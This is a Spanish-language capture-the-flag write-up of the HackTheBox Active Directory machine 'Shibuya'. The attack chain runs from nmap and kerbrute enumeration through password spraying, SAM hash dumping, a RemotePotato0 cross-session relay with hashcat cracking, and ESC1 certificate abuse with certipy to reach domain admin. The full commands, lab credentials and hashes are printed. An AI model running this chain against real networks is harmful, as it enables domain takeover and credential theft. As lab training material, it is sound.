Skip to content

Shibuya HTB Write Up

image.png

1. Información del objetivo

IP de la máquina: 10.129.130.75

Dominio: shibuya.vl

2. Reconocimiento inicial

2.1 Escaneo de puertos

sudo nmap -sS -p- -n -vvv -Pn --open 10.129.130.75 -oG allPorts

extractPorts allPorts

nmap -sCV -p22,53,88,135,139,445,464,593,3268,3269,3389,9389,49664,49669,51244,55993,57003,57014,57019 10.129.130.75 -oN targeted

Y este es el resultado.

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-08 20:07:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after:  2026-02-15T07:26:20
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after:  2026-02-15T07:26:20
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SHIBUYA
|   NetBIOS_Domain_Name: SHIBUYA
|   NetBIOS_Computer_Name: AWSJPDC0522
|   DNS_Domain_Name: shibuya.vl
|   DNS_Computer_Name: AWSJPDC0522.shibuya.vl
|   DNS_Tree_Name: shibuya.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-08T20:08:09+00:00
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Not valid before: 2025-09-07T20:03:55
|_Not valid after:  2026-03-09T20:03:55
|_ssl-date: 2025-09-08T20:08:49+00:00; -1s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
51244/tcp open  msrpc         Microsoft Windows RPC
55993/tcp open  msrpc         Microsoft Windows RPC
57003/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
57014/tcp open  msrpc         Microsoft Windows RPC
57019/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: AWSJPDC0522; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-09-08T20:08:13
|_  start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

3. Enumeración SMB y Kerberos

Primeramente he enumerado con samba si puedo acceder de forma anonima, pero el usuario guest no esta habilitado.

smbmap -H 10.129.130.75 -u guest -p ''

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
[!] Access denied on 10.129.130.75, no fun for you...                                                                    
[*] Closed 1 connections

Por lo tanto me he puesto a enumerar usuarios con kerbrute y he sacado dos usuarios.

kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d shibuya.vl --dc 10.129.130.75

2025/09/08 22:11:04 >  [+] VALID USERNAME:  purple@shibuya.vl
2025/09/08 22:11:05 >  [+] VALID USERNAME:  red@shibuya.vl

Después de probar varios ataques con estos usuarios voy a hacer fuerza bruta en el protocolo smb + kerberos.

4. Ataque SMB + Kerberos

netexec smb 10.129.130.75 -u users.txt -p users.txt -k --continue-on-success

image.png

Con estas credenciales validas podemos enumerar mas usuarios con el parámetro --users

netexec smb 10.129.130.75 -u users.txt -p users.txt -k --shares --users

Esto nos va a devolver muchos usuarios, pero hay un usuario en concreto que tiene unas credenciales en su descripción.

svc_autojoin                  2025-02-15 07:51:49 0       K5&A6Dw9d8jrKWhV

5. Acceso a recursos compartidos SMB

Con este usuario he listado recursos compartidos.

netexec smb 10.129.130.75 -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' --shares

image.png

Con el siguiente comando he entrado al recurso compartido y me he descargado todos los archivos que habian.

smbclient \\\\10.129.130.75\\images$ -U svc_autojoin

smb: \> prompt off
smb: \> mget *

Una vez tenemos los .wim en nuestro sistema he comprobado que tipo de archivo era y con wimextract podemos extraer el contenido de dentro.

wimextract AWSJPWK0222-02.wim 1

En este caso nos ha dado una SAM y un SYSTEM.

image.png

6. Obtención de hashes

Con esto podemos hacer impacket-secretsdump y sacar hashes.

impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

image.png

Con esto voy a guardarme una lista con los hashes y voy a probar con los usuarios que tengo ahí y ver si uno de ellos funciona.

Y tenemos un resultado.

image.png

Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50

Como hemos visto en el principio hay un recurso compartido que son los usuarios, si el usuario Simon.Watson esta podemos usarlo para subir nuestra clave publica y conectarnos por ssh.

smbclient -U Simon.Watson --pw-nt-hash //shibuya.vl/users 5d8c3d1a20bd63f60f469f6763ca0d50

image.png

7. Acceso vía SSH

A continuación vamos a ver si ha funcionado. Y bingo, estamos dentro.

image.png

La flag del usuario puede encontrarse en: C:\Users\simon.watson\Desktop

type C:\Users\simon.watson\Desktop\user.txt

8. Pivoting y BloodHound

A continuación he salido del ssh y me he vuelto a conectar pero usando de esta manera.

ssh -D 1080 Simon.Watson@10.129.130.75

De esta manera puedo usar proxychains para montarme el Bloodhound.

proxychains4 bloodhound-python -d shibuya.vl -u red -p red -c All --zip -ns 10.129.130.75

Si vemos el Bloodhound podemos ver esta query. Aquí podemos ver los usuarios que forman parte del ssh.

image.png

También investigando encontré la siguiente query. Sabiendo que ambos usuarios están en el grupo Remote Desktop Users si un usuario tiene la sesión iniciada podemos hacer un ataque que se conoce como Cross-Session Relay Attack.

image.png

9. Cross-Session Relay Attack

Así que volvemos al ssh y me he pasado el RunasCs.exe para ver si alguno de estos usuarios tiene una sesión abierta he ejecutado el siguiente comando abusando de RunasCs.exe

.\RunasCs.exe astro astro "qwinsta *" -l 9

image.png

Podemos ver que el usuario nigel.mills tiene una sesión abierta.

A continuación mediante RemotePotato0 voy a conseguir el NTLM hash de Nigel.

Si hacemos una pequeña ejecución nos pide que usemos socat en nuestra maquina atacante.

image.png

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999

Como que estamos usando socks con el parametro -D 1080 tenemos que ejecutar el socat
de la siguiente manera.

sudo proxychains socat -v TCP-LISTEN:135,fork,reuseaddr TCP:127.0.0.1:9999

Y ahora el RemotePotato0 lo tendriamos que usar de la siguiente manera.

.\RemotePotato0.exe -m 2 -r 10.10.14.84 -x 10.10.14.84 -p 9999 -s 1

image.png

image.png

A continuación me he guardado el hash y usando hashcat he crackeado el NetNTLMv2.

hashcat -a 0 -m 5600 hash /usr/share/wordlists/rockyou.txt -O

Contraseña: Sail2Boat3

Así que me conecto por ssh y voy a usar SharpHound.exe para enumerar posibles certificados vulnerables etc…

sshpass -p'Sail2Boat3' scp SharpHound.exe Nigel.Mills@10.129.130.75:.

Y lo ejecuto.

10. Escalada con Certificados (ADCS)

Una vez ha terminado me lo puedo descargar en mi maquina local de esta manera.

sshpass -p 'Sail2Boat3' scp Nigel.Mills@10.129.130.75:"20250908150136_BloodHound.zip" .

Y subo esta nueva captura de Bloodhound.

Como podemos observar si ejecuto una query custom para ver los “Enrollment rights on published ESC1 certificate templates”

image.png

Nigel esta en el grupo T1_Admins por lo tanto podemos solicitar ese certificado vulnerable. Si lo aplicamos a la practica usando certipy podremos ver lo mismo.

Usando el siguiente comando.

proxychains4 certipy find -u 'Nigel.Mills' -p 'Sail2Boat3' -dc-ip 10.129.130.75 -vulnerable -stdout

image.png

Y tiene tres certificados, en este caso voy a abusar de ESC1 ya que es el mas sencillo de abusar.

En este caso si nos fijamos dentro del grupo de Domain Admins el usuario es _admin.

image.png

Sabiendo esta información ya podemos abusar del ESC1.

ESC1

proxychains4 certipy req -u 'Nigel.Mills' -p 'Sail2Boat3' -dc-ip 127.0.0.1 -ca 'shibuya-AWSJPDC0522-CA' -target-ip 127.0.0.1 -template 'ShibuyaWeb' -upn '_admin@shibuya.vl' -sid S-1-5-21-87560095-894484815-3652015022-500 -key-size 4096

proxychains4 certipy auth -pfx _admin.pfx -username '_admin' -domain 'shibuya.vl' -dc-ip 127.0.0.1

image.png

11. Compromiso de Domain Admin

Una vez hemos obtenido el hash podemos usarlo para autenticarnos mediante winrm y comprometer el DC de esta maquina.

image.png

La flag de root puede encontrarse en: C:\Users\Administrator\Desktop

Autor: Astro